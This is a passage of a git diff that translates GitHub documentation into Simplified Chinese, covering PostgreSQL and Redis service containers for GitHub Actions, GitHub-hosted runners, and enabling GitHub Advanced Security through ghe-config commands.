-This guide shows you workflow examples that configure a service container using the Docker Hub `postgres` image. The workflow runs a script that connects to the PostgreSQL service, creates a table, and then populates it with data. To test that the workflow creates and populates the PostgreSQL table, the script prints the data from the table to the console.
+本指南演示了使用 Docker Hub `postgres` 映像配置服务容器的工作流程示例。 工作流程运行一个脚本，以连接到 PostgreSQL 服务，创建一个表，然后用数据填充该表。 为了测试工作流程是否创建并填充 PostgreSQL 表，脚本会将表中的数据打印到控制台。
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.github-actions.service-container-prereqs %}
 
-You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and PostgreSQL. For more information, see:
+你可能还会发现它也有助于基本了解 YAML、{% data variables.product.prodname_actions %} 的语法和 PostgreSQL。 更多信息请参阅：
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[PostgreSQL tutorial](https://www.postgresqltutorial.com/)" in the PostgreSQL documentation
+- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- PostgreSQL 文档中的“[PostgreSQL 教程](https://www.postgresqltutorial.com/)”
 
-## Running jobs in containers
+## 在容器中运行作业
 
 {% data reusables.github-actions.container-jobs-intro %}
 
@@ -93,7 +93,7 @@ jobs:
 ```
 {% endraw %}
 
-### Configuring the runner job
+### 配置运行器作业
 
 {% data reusables.github-actions.service-container-host %}
 
@@ -125,7 +125,7 @@ jobs:
           --health-retries 5
 ```
 
-### Configuring the steps
+### 配置步骤
 
 {% data reusables.github-actions.service-template-steps %}
 
@@ -155,11 +155,11 @@ steps:
 
 {% data reusables.github-actions.postgres-environment-variables %}
 
-The hostname of the PostgreSQL service is the label you configured in your workflow, in this case, `postgres`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default PostgreSQL port 5432.
+PostgreSQL 文档中的服务的主机名是您在工作流程中配置的标签，本例中为 `postgres`。 由于同一用户定义的网桥网络上的 Docker 容器默认打开所有端口，因此您将能够访问默认 PostgreSQL 端口 5432 上的服务容器。
 
-## Running jobs directly on the runner machine
+## 直接在运行器机器上运行作业
 
-When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number.
+直接在运行器机器上运行作业时，需要将服务容器上的端口映射到 Docker 主机上的端口。 您可以使用 `localhost` 和 Docker 主机端口号从 Docker 主机访问服务容器。
 
 {% data reusables.github-actions.copy-workflow-file %}
 
@@ -217,13 +217,13 @@ jobs:
 ```
 {% endraw %}
 
-### Configuring the runner job
+### 配置运行器作业
 
 {% data reusables.github-actions.service-container-host-runner %}
 
 {% data reusables.github-actions.postgres-label-description %}
 
-The workflow maps port 5432 on the PostgreSQL service container to the Docker host. For more information about the `ports` keyword, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+工作流程将 PostgreSQL 服务容器上的端口 5432 映射到 Docker 主机。 有关 `ports` 关键字的更多信息，请参阅“[关于服务容器](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)”。
 
 ```yaml{:copy}
 jobs:
@@ -252,7 +252,7 @@ jobs:
           - 5432:5432
 ```
 
-### Configuring the steps
+### 配置步骤
 
 {% data reusables.github-actions.service-template-steps %}
 
@@ -284,11 +284,11 @@ steps:
 
 {% data reusables.github-actions.service-container-localhost %}
 
-## Testing the PostgreSQL service container
+## 测试 PostgreSQL 服务容器
 
-You can test your workflow using the following script, which connects to the PostgreSQL service and adds a new table with some placeholder data. The script then prints the values stored in the PostgreSQL table to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `pg` npm module. For more information, see the [npm pg module](https://www.npmjs.com/package/pg).
+您可以使用以下脚本测试工作流程，该脚本将连接到 PostgreSQL 服务，并添加包含某些占位符数据的新表。 然后，脚本将存储在 PostgreSQL 表中的值打印到终端。 您的脚本可以使用任何您喜欢的语言，但此示例使用 Node.js 和 `Pg` npm 模块。 更多信息请参阅 [npm pg 模块](https://www.npmjs.com/package/pg)。
 
-You can modify *client.js* to include any PostgreSQL operations needed by your workflow. In this example, the script connects to the PostgreSQL service, adds a table to the `postgres` database, inserts some placeholder data, and then retrieves the data.
+您可以修改 *client.js* 以包含工作流程需要的任何 PostgreSQL 操作。 在本例中，脚本连接到 PostgreSQL 服务，向 `postgres` 数据库添加一个表，插入一些占位符数据，然后检索数据。
 
 {% data reusables.github-actions.service-container-add-script %}
 
@@ -324,11 +324,11 @@ pgclient.query('SELECT * FROM student', (err, res) => {
 });
 ```
 
-The script creates a new connection to the PostgreSQL service, and uses the `POSTGRES_HOST` and `POSTGRES_PORT` environment variables to specify the PostgreSQL service IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 5432.
+脚本创建与 PostgreSQL 服务的新连接，并使用 `POSTGRES_HOST` 和 `POSTGRES_PORT` 环境变量来指定 PostgreSQL 服务 IP 地址和端口。 如果未定义 `host` 和 `port`，则默认主机为 `localhost`，默认端口为 5432。
 
-The script creates a table and populates it with placeholder data. To test that the `postgres` database contains the data, the script prints the contents of the table to the console log.
+脚本创建一个表并将用占位符数据添加。 要测试 `postgres` 数据库是否包含数据，脚本会将表的内容打印到控制台日志。
 
-When you run this workflow, you should see the following output in the "Connect to PostgreSQL" step, which confirms that you successfully created the PostgreSQL table and added data:
+运行此工作流程时，应会在“连接到 PostgreSQL”步骤中看到以下输出，确认您成功创建了 PostgreSQL 表并添加了数据：
 
 ```
 null [ { id: 1,
diff --git a/translations/zh-CN/content/actions/using-containerized-services/creating-redis-service-containers.md b/translations/zh-CN/content/actions/using-containerized-services/creating-redis-service-containers.md
index 2b9ed40122..dba2e77520 100644
--- a/translations/zh-CN/content/actions/using-containerized-services/creating-redis-service-containers.md
+++ b/translations/zh-CN/content/actions/using-containerized-services/creating-redis-service-containers.md
@@ -1,7 +1,7 @@
 ---
-title: Creating Redis service containers
-shortTitle: Redis service containers
-intro: You can use service containers to create a Redis client in your workflow. This guide shows examples of creating a Redis service for jobs that run in containers or directly on the runner machine.
+title: 创建 Redis 服务容器
+shortTitle: Redis 服务容器
+intro: 您可以使用服务容器在工作流程中创建 Redis 客户端。 本指南举例说明如何为容器中运行或直接在运行器机器上运行的作业创建 Redis 服务。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/creating-redis-service-containers
   - /actions/configuring-and-managing-workflows/creating-redis-service-containers
@@ -20,22 +20,22 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you workflow examples that configure a service container using the Docker Hub `redis` image. The workflow runs a script to create a Redis client and populate the client with data. To test that the workflow creates and populates the Redis client, the script prints the client's data to the console.
+本指南演示了使用 Docker Hub `redis` 映像配置服务容器的工作流程示例。 工作流程运行脚本来创建 Redis 客户端并使用数据填充客户端。 要测试工作流程是否创建并填充 Redis 客户端，脚本会将客户端数据打印到控制台。
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Prerequisites
+## 基本要求
 
 {% data reusables.github-actions.service-container-prereqs %}
 
-You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and Redis. For more information, see:
+你可能还会发现它也有助于基本了解 YAML、{% data variables.product.prodname_actions %} 的语法和 Redis。 更多信息请参阅：
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Getting Started with Redis](https://redislabs.com/get-started-with-redis/)" in the Redis documentation
+- "[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- Redis 文档中的“[Redis 使用入门](https://redislabs.com/get-started-with-redis/)”
 
-## Running jobs in containers
+## 在容器中运行作业
 
 {% data reusables.github-actions.container-jobs-intro %}
 
@@ -90,7 +90,7 @@ jobs:
 ```
 {% endraw %}
 
-### Configuring the container job
+### 配置容器作业
 
 {% data reusables.github-actions.service-container-host %}
 
@@ -119,7 +119,7 @@ jobs:
           --health-retries 5
 ```
 
-### Configuring the steps
+### 配置步骤
 
 {% data reusables.github-actions.service-template-steps %}
 
@@ -148,11 +148,11 @@ steps:
 
 {% data reusables.github-actions.redis-environment-variables %}
 
-The hostname of the Redis service is the label you configured in your workflow, in this case, `redis`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default Redis port 6379.
+Redis 服务的主机名是您在工作流程中配置的标签，本例中为 `redis`。 由于同一用户定义的网桥网络上的 Docker 容器默认打开所有端口，因此您将能够访问默认 Redis 端口 6379 上的服务容器。
 
-## Running jobs directly on the runner machine
+## 直接在运行器机器上运行作业
 
-When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number.
+直接在运行器机器上运行作业时，需要将服务容器上的端口映射到 Docker 主机上的端口。 您可以使用 `localhost` 和 Docker 主机端口号从 Docker 主机访问服务容器。
 
 {% data reusables.github-actions.copy-workflow-file %}
 
@@ -207,13 +207,13 @@ jobs:
 ```
 {% endraw %}
 
-### Configuring the runner job
+### 配置运行器作业
 
 {% data reusables.github-actions.service-container-host-runner %}
 
 {% data reusables.github-actions.redis-label-description %}
 
-The workflow maps port 6379 on the Redis service container to the Docker host. For more information about the `ports` keyword, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+工作流程将 Redis 服务容器上的端口 6379 映射到 Docker 主机。 有关 `ports` 关键字的更多信息，请参阅“[关于服务容器](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)”。
 
 ```yaml{:copy}
 jobs:
@@ -239,7 +239,7 @@ jobs:
           - 6379:6379
 ```
 
-### Configuring the steps
+### 配置步骤
 
 {% data reusables.github-actions.service-template-steps %}
 
@@ -271,11 +271,11 @@ steps:
 
 {% data reusables.github-actions.service-container-localhost %}
 
-## Testing the Redis service container
+## 测试 Redis 服务容器
 
-You can test your workflow using the following script, which creates a Redis client and populates the client with some placeholder data. The script then prints the values stored in the Redis client to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `redis` npm module. For more information, see the [npm redis module](https://www.npmjs.com/package/redis).
+您可以使用以下脚本测试工作流程，该脚本将创建 Redis 客户端，并使用某些占位符数据填充客户端。 然后，脚本将存储在 Redis 客户端中的值打印到终端。 您的脚本可以使用任何您喜欢的语言，但此示例使用 Node.js 和 `redis` npm 模块。 更多信息请参阅 [npm redis 模块](https://www.npmjs.com/package/redis)。
 
-You can modify *client.js* to include any Redis operations needed by your workflow. In this example, the script creates the Redis client instance, adds placeholder data, then retrieves the data.
+您可以修改 *client.js* 以包含工作流程需要的任何 Redis 操作。 在此示例中，脚本创建 Redis 客户端实例、添加占位符数据，然后检索数据。
 
 {% data reusables.github-actions.service-container-add-script %}
 
@@ -313,11 +313,11 @@ redisClient.hkeys("species", function (err, replies) {
 });
 ```
 
-The script creates a new Redis client using the `createClient` method, which accepts a `host` and `port` parameter. The script uses the `REDIS_HOST` and `REDIS_PORT` environment variables to set the client's IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 6379.
+该脚本使用 `createClient` 方法创建新的 Redis 客户端，接受 `host` 和 `port` 参数。 该脚本使用 `REDIS_HOST` 和 `REDIS_PORT` 环境变量来设置客户端的 IP 地址和端口。 如果未定义 `host` 和 `port`，则默认主机为 `localhost`，默认端口为 6379。
 
-The script uses the `set` and `hset` methods to populate the database with some keys, fields, and values. To confirm that the Redis client contains the data, the script prints the contents of the database to the console log.
+该脚本使用 `set` 和 `hset` 方法，以一些键值、字段和值来填充数据库。 要确认 Redis 客户端是否包含数据，脚本会将数据库的内容打印到控制台日志。
 
-When you run this workflow, you should see the following output in the "Connect to Redis" step confirming you created the Redis client and added data:
+运行此工作流程时，应会在“连接到 Redis”步骤中看到以下输出，确认您创建了 Redis 客户端并添加了数据：
 
 ```
 Reply: OK
diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md b/translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
index 60e791ab95..662d33b84f 100644
--- a/translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
+++ b/translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md
@@ -76,8 +76,8 @@ For more information, see "[Viewing workflow run history](/actions/managing-work
 
 For the overall list of included tools for each runner operating system, see the links below:
 
-* [Ubuntu 20.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu2004-README.md)
-* [Ubuntu 18.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu1804-README.md)
+* [Ubuntu 20.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu2004-Readme.md)
+* [Ubuntu 18.04 LTS](https://github.com/actions/virtual-environments/blob/main/images/linux/Ubuntu1804-Readme.md)
 * [Windows Server 2022](https://github.com/actions/virtual-environments/blob/main/images/win/Windows2022-Readme.md)
 * [Windows Server 2019](https://github.com/actions/virtual-environments/blob/main/images/win/Windows2019-Readme.md)
 * [Windows Server 2016](https://github.com/actions/virtual-environments/blob/main/images/win/Windows2016-Readme.md)
diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md b/translations/zh-CN/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
index 6ba1c04fcd..55974360e8 100644
--- a/translations/zh-CN/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
+++ b/translations/zh-CN/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md
@@ -1,26 +1,26 @@
 ---
-title: Customizing GitHub-hosted runners
-intro: You can install additional software on GitHub-hosted runners as a part of your workflow.
+title: 自定义 GitHub 托管的运行器
+intro: 您可以在 GitHub 托管的运行器上安装其他软件作为工作流程的一部分。
 versions:
   fpt: '*'
   ghec: '*'
 type: tutorial
 topics:
   - Workflows
-shortTitle: Customize runners
+shortTitle: 自定义运行器
 ---
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-If you require additional software packages on {% data variables.product.prodname_dotcom %}-hosted runners, you can create a job that installs the packages as part of your workflow. 
+如果 {% data variables.product.prodname_dotcom %} 托管的运行器上需要其他软件包，您可以创建一个作业，将包的安装作为工作流程的一部分。
 
-To see which packages are already installed by default, see "[Preinstalled software](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software)."
+要查看默认情况下已经安装了哪些包，请参阅“[预装软件](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software)”。
 
-This guide demonstrates how to create a job that installs additional software on a {% data variables.product.prodname_dotcom %}-hosted runner.
+本指南演示了如何创建在 {% data variables.product.prodname_dotcom %} 托管运行器上安装额外软件的作业。
 
-## Installing software on Ubuntu runners
+## 在 Ubuntu 运行器上安装软件
 
-The following example demonstrates how to install an `apt` package as part of a job.
+以下示例演示如何在作业中安装 `apt` 包。
 
 {% raw %}
 ```yaml
@@ -42,13 +42,13 @@ jobs:
 
 {% note %}
 
-**Note:** Always run `sudo apt-get update` before installing a package. In case the `apt` index is stale, this command fetches and re-indexes any available packages, which helps prevent package installation failures. 
+**注意：** 在安装软件包之前务必运行 `sudo apt-get update`。 如果 `apt` 索引已经过时，此命令将获取并重新索引任何可用的软件包，这有助于防止软件包安装失败。
 
 {% endnote %}
 
-## Installing software on macOS runners
+## 在 macOS 运行器上安装软件
 
-The following example demonstrates how to install Brew packages and casks as part of a job.
+以下示例演示如何将 Brew 包和桶安装为作业的一部分。
 
 {% raw %}
 ```yaml
@@ -72,9 +72,9 @@ jobs:
 ```
 {% endraw %}
 
-## Installing software on Windows runners
+## 在 Windows 运行器上安装软件
 
-The following example demonstrates how to use [Chocolatey](https://community.chocolatey.org/packages) to install the {% data variables.product.prodname_dotcom %} CLI as part of a job.
+以下示例演示如何使用 [Chocolatey](https://community.chocolatey.org/packages) 将 {% data variables.product.prodname_dotcom %} CLI 安装为作业的一部分。
 
 {% raw %}
 ```yaml
diff --git a/translations/zh-CN/content/actions/using-github-hosted-runners/index.md b/translations/zh-CN/content/actions/using-github-hosted-runners/index.md
index c35d53ff24..afd5f99927 100644
--- a/translations/zh-CN/content/actions/using-github-hosted-runners/index.md
+++ b/translations/zh-CN/content/actions/using-github-hosted-runners/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub-hosted runners
-intro: You can use GitHub's runners to execute your GitHub Actions workflows.
+title: 使用 GitHub 托管的运行器
+intro: 您可以使用 GitHub 的运行器来执行您的 GitHub Actions 流程。
 versions:
   fpt: '*'
   ghec: '*'
@@ -8,7 +8,7 @@ versions:
 children:
   - /about-github-hosted-runners
   - /customizing-github-hosted-runners
-shortTitle: Use GitHub-hosted runners
+shortTitle: 使用 GitHub 托管的运行器
 ---
 
 {% data reusables.actions.enterprise-beta %}
diff --git a/translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md b/translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
index d2d205a75c..bd76486b0d 100644
--- a/translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
+++ b/translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Enabling GitHub Advanced Security for your enterprise
-shortTitle: Enabling GitHub Advanced Security
-intro: 'You can configure {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code.'
+title: 为企业启用 GitHub Advanced Security
+shortTitle: 启用 GitHub Advanced Security
+intro: '您可以配置 {% data variables.product.product_name %} 以包括 {% data variables.product.prodname_GH_advanced_security %}。 这将提供额外的功能，帮助用户发现和修复其代码中的安全问题。'
 product: '{% data reusables.gated-features.ghas %}'
 versions:
   ghes: '*'
@@ -14,84 +14,81 @@ topics:
   - Security
 ---
 
-## About enabling {% data variables.product.prodname_GH_advanced_security %}
+## 关于启用 {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.advanced-security.ghas-helps-developers %}
 
 {% ifversion ghes > 3.0 %}
-When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."
+为企业启用 {% data variables.product.prodname_GH_advanced_security %} 后，所有组织的仓库管理员都可以启用这些功能，除非您设置了限制访问的策略。 更多信息请参阅“[在企业中执行 {% data variables.product.prodname_advanced_security %} 的策略](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)”。
 {% else %}
-When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. {% ifversion ghes = 3.0 %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
+为企业启用 {% data variables.product.prodname_GH_advanced_security %} 后，所有组织的仓库管理员都可以启用这些功能。 {% ifversion ghes = 3.0 %}更多信息请参阅“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”或“[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)”。{% endif %}
 {% endif %}
 
 {% ifversion ghes %}
-For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying GitHub Advanced Security in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)."
+有关分阶段部署 GitHub Advanced Security 的指导，请参阅“[在企业中部署 GitHub Advanced Security](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)”。
 {% endif %}
 
-## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
+## 检查您的许可是否包含 {% data variables.product.prodname_GH_advanced_security %}
 
 {% ifversion ghes > 3.0 %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.license-tab %}
-1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage.
-![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png)
+1. 如果您的许可包括 {% data variables.product.prodname_GH_advanced_security %}，则许可页面将包括显示当前使用情况详细信息的部分。 ![企业许可证的 {% data variables.product.prodname_GH_advanced_security %} 部分](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png)
 {% endif %}
 
 {% ifversion ghes = 3.0 %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, there is an **{% data variables.product.prodname_advanced_security %}** entry in the left sidebar.
-![Advanced Security sidebar](/assets/images/enterprise/management-console/sidebar-advanced-security.png)
+1. 如果您的许可包括 {% data variables.product.prodname_GH_advanced_security %}，则左侧边栏中有一个 **{% data variables.product.prodname_advanced_security %}** 条目。 ![高级安全侧边栏](/assets/images/enterprise/management-console/sidebar-advanced-security.png)
 
 {% data reusables.enterprise_management_console.advanced-security-license %}
 {% endif %}
 
-## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %}
+## 启用 {% data variables.product.prodname_GH_advanced_security %} 的前提条件
 
-1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %}
-2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)."
-3. Upload the new license file to {% data variables.product.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %}
-4. Review the prerequisites for the features you plan to enable.
+1. 升级 {% data variables.product.product_name %} 许可以包括 {% data variables.product.prodname_GH_advanced_security %}。{% ifversion ghes > 3.0 %}有关许可的更多信息，请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %} 的计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)”。{% endif %}
+2. 下载新的许可文件。 更多信息请参阅“[下载 {% data variables.product.prodname_enterprise %} 的许可](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)”。
+3. 将新许可文件上传到 {% data variables.product.product_location %}。 更多信息请参阅“[上传新许可到 {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)”。{% ifversion ghes %}
+4. 审查您计划启用的功能的先决条件。
 
-    - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)."
-    - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %}
-    - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." 
+    - {% data variables.product.prodname_code_scanning_capc %}，请参阅“[为设备配置 {% data variables.product.prodname_code_scanning %}](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)”。
+    - {% data variables.product.prodname_secret_scanning_caps %}，请参阅“[为设备配置 {% data variables.product.prodname_secret_scanning %}](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)”。{% endif %}
+    - {% data variables.product.prodname_dependabot %}，请参阅“[在企业帐户上启用依赖关系图和 {% data variables.product.prodname_dependabot_alerts %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)”。
 
-## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features
+## 启用和禁用 {% data variables.product.prodname_GH_advanced_security %} 功能
 
 {% data reusables.enterprise_management_console.enable-disable-security-features %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %}
-1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," select the features that you want to enable and deselect any features you want to disable.
+1. 在“{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security（安全性）{% endif %}”下，选择要启用的功能，取消选择要禁用的任何功能。
 {% ifversion ghes > 3.1 %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %}
-1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**.
-![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %}
+1. 在“{% data variables.product.prodname_advanced_security %}”下，单击 **{% data variables.product.prodname_code_scanning_capc %}**。 ![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png)用于启用 Public Pages 的复选框{% endif %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)."
+当 {% data variables.product.product_name %} 完成重启后，您可以设置新启用功能所需的任何额外资源。 更多信息请参阅“[为设备配置 {% data variables.product.prodname_code_scanning %}](/admin/advanced-security/configuring-code-scanning-for-your-appliance)”。
 
-## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH)
+## 通过管理 shell (SSH) 启用或禁用 {% data variables.product.prodname_GH_advanced_security %} 功能
 
-You can enable or disable features programmatically on {% data variables.product.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)."
+您可以通过编程方式在 {% data variables.product.product_location %} 上启用或禁用功能。 有关 {% data variables.product.prodname_ghe_server %} 的管理 shell 和命令行实用程序的更多信息，请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)”和“[命令行实用程序](/admin/configuration/command-line-utilities#ghe-config)”。
 
-For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery.
+例如，当您部署用于暂存或灾难恢复的实例时，可以使用基础架构即代码工具启用任何 {% data variables.product.prodname_GH_advanced_security %}。
 
-1. SSH into {% data variables.product.product_location %}.
-1. Enable features for {% data variables.product.prodname_GH_advanced_security %}.
+1. SSH 连接到 {% data variables.product.product_location %}。
+1. 启用 {% data variables.product.prodname_GH_advanced_security %} 的功能。
 
-    - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands.
+    - 要启用 {% data variables.product.prodname_code_scanning_capc %}，请输入以下命令。
     ```shell
     ghe-config app.minio.enabled true
     ghe-config app.code-scanning.enabled true
     ```
-    - To enable {% data variables.product.prodname_secret_scanning_caps %}, enter the following command.
+    - 要启用 {% data variables.product.prodname_secret_scanning_caps %}，请输入以下命令。
     ```shell
     ghe-config app.secret-scanning.enabled true
     ```
-    - To enable {% data variables.product.prodname_dependabot %}, enter the following {% ifversion ghes > 3.1 %}command{% else %}commands{% endif %}.
+    - 要启用 {% data variables.product.prodname_dependabot %}，请输入以下 {% ifversion ghes > 3.1 %}命令{% else %}命令{% endif %}。
     {% ifversion ghes > 3.1 %}```shell
     ghe-config app.dependency-graph.enabled true
     ```
@@ -99,18 +96,18 @@ For example, you can enable any {% data variables.product.prodname_GH_advanced_s
     ghe-config app.github.dependency-graph-enabled true
     ghe-config app.github.vulnerability-alerting-and-settings-enabled true
     ```{% endif %}
-2. Optionally, disable features for {% data variables.product.prodname_GH_advanced_security %}.
+2. （可选）禁用 {% data variables.product.prodname_GH_advanced_security %} 的功能。
 
-    - To disable {% data variables.product.prodname_code_scanning %}, enter the following commands.
+    - 要禁用 {% data variables.product.prodname_code_scanning %}，请输入以下命令。
     ```shell
     ghe-config app.minio.enabled false
     ghe-config app.code-scanning.enabled false
     ```
-    - To disable {% data variables.product.prodname_secret_scanning %}, enter the following command.
+    - 要禁用 {% data variables.product.prodname_secret_scanning %}，请输入以下命令。
     ```shell
     ghe-config app.secret-scanning.enabled false
     ```
-    - To disable {% data variables.product.prodname_dependabot_alerts %}, enter the following {% ifversion ghes > 3.1 %}command{% else %}commands{% endif %}.
+    - 要禁用 {% data variables.product.prodname_dependabot_alerts %}，请输入以下 {% ifversion ghes > 3.1 %}命令{% else %}命令{% endif %}。
     {% ifversion ghes > 3.1 %}```shell
     ghe-config app.dependency-graph.enabled false
     ```
